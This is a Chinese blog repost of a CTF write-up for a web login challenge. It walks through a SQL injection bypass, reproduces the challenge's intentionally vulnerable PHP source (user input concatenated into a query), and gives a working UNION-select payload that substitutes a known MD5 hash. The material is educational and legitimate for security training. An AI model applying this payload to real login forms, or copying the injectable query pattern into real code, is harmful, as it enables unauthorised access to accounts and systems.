码南邮CTF一道简单的sql注入题目
时间:2019-11-27
本文章向大家介绍码南邮CTF一道简单的sql注入题目,主要包括码南邮CTF一道简单的sql注入题目使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
题目地址:http://chinalover.sinaapp.com/web6/index.php
一看有源码,必须马上点击Source,真香……
思路还是很清晰的,提交用户名参数和密码参数,拼接sql查询语句,密码的md5值和用户名对应记录的密码一致,则输出flag。显然我们也不知道username值可能是啥,sql注入实锤了,在username字段做写文章。
首先就是sql语句的拼接,闭合左单引号然后右单引号注释掉。中间用union联合查询让我们传入的password的md5值顶替对应pw字段。
可以搭建环境测试一哈:
1 <html> 2 <head> 3 <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> 4 <title>Secure Web Login II</title> 5 </head> 6 <body bgcolor="BurlyWood"> 7 8 <?php 9 $dbuser = 'root'; //SAE_MYSQL_USER 10 $dbpass = 'root'; //SAE_MYSQL_PASS 11 $dbname = "dvwa"; //SAE_MYSQL_DB 12 $host = 'localhost'; //SAE_MYSQL_HOST_M 13 if (@$_POST['user'] && @$_POST['pass']) { 14 $con = mysql_connect($host, $dbuser, $dbpass); 15 mysql_select_db($dbname, $con) or die("Unable to connect to the database: $dbname"); 16 $user = $_POST['user']; 17 $pass = md5($_POST['pass']); 18 echo "username:$user<br/>"; 19 echo "password:$_POST['pass']<br/>"; 20 echo "password after hash:'$pass'<br/>"; 21 echo "select password from users where user='$user'<br/>"; 22 $query = @mysql_fetch_array(mysql_query("select password from users where user='$user'")); 23 echo "query of password:" . $query['password'] . "<br/>"; 24 if (($query['password']) && (!strcasecmp($pass, $query['password']))) { 25 echo "<h2>Logged in! Key: ntcf{php_is_best} </h2>"; 26 } else { 27 echo ("<h2>Log in failure!</h2>"); 28 } 29 30 } 31 ?> 32 <form method='post' action='index.php'> 33 <h3>username:</h3><input type='text' name='user' value=""> 34 <h3>password:</h3><input type='password' name='pass' value=""> 35 <input type='submit'> 36 </form> 37 </body> 38 </html>
这里白嫖dvwa数据库的users数据表,来模拟源码里面的数据库和数据表,因为密码刚好存储的是md5加密后的值:
我admin用户对应的密码是123456的md5值。输入正确的值:
构造payload先在数据库一试: (1 的md5是c4ca4238a0b923820dcc509a6f75849b)
' union select 'c4ca4238a0b923820dcc509a6f75849b'#
注入成功
# 是数据库的注释字符,后面的单引号其实起不到作用。
因此实际数据库接受到的语句是:
select password from users where user='' union select 'c4ca4238a0b923820dcc509a6f75849b'#';
它等同于查询:
select password from users where user='' union select 'c4ca4238a0b923820dcc509a6f75849b';
即在username输入:' union select 'c4ca4238a0b923820dcc509a6f75849b'#
password输入:1 点击提交查询
done
原文地址:https://www.cnblogs.com/Higgerw/p/11945209.html
- MAC使用adb工具
- 并发编程之master-worker模式
- Android WebView全面总结
- Url参数中出现+、空格、=、%、&、#等字符的解决办法
- 解决CSS垂直居中的几种方法(基于绝对定位,基于视口单位,Flexbox方法)
- Go语言学习之cgo(golang与C语言相互调用)
- golang之旅--数据类型之字符串
- Android保存图片到系统图库
- 基于Vue.js的大型报告页项目实现过程及问题总结(二)
- 使用Hexo搭建专属Blog
- Android项目中文字乱码问题
- golang中发送http请求的几种常见情况
- 注册中心 Eureka 源码解析 —— Eureka-Server 启动(一)之 ServerConfig
- lua表排序
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 数据源管理 | 搜索引擎框架,ElasticSearch集群模式
- PHP的CLI命令行运行模式浅析
- 基于Pytorch构建三值化网络TWN
- 从零学Paddle系列-1 Paddle框架CNN相关API详解
- 智能搜索模型预估框架的建设与实践
- 1,Jupyter NoteBook 常用魔法命令
- 60行代码徒手实现深度神经网络
- 30行代码徒手实现logistic回归
- 8,模型的训练
- 在腾讯云上部署科学计算软件Amber
- 手把手教你搭建一个灰度发布环境
- Kibana: 如何使用 Search Bar
- 「PHP」以nginx、php-cgi为例,把nginx、php-cgi安装为Windows系统服务
- 聊聊dubbo-go的GenericFilter
- 知新 | koa框架入门到熟练第二章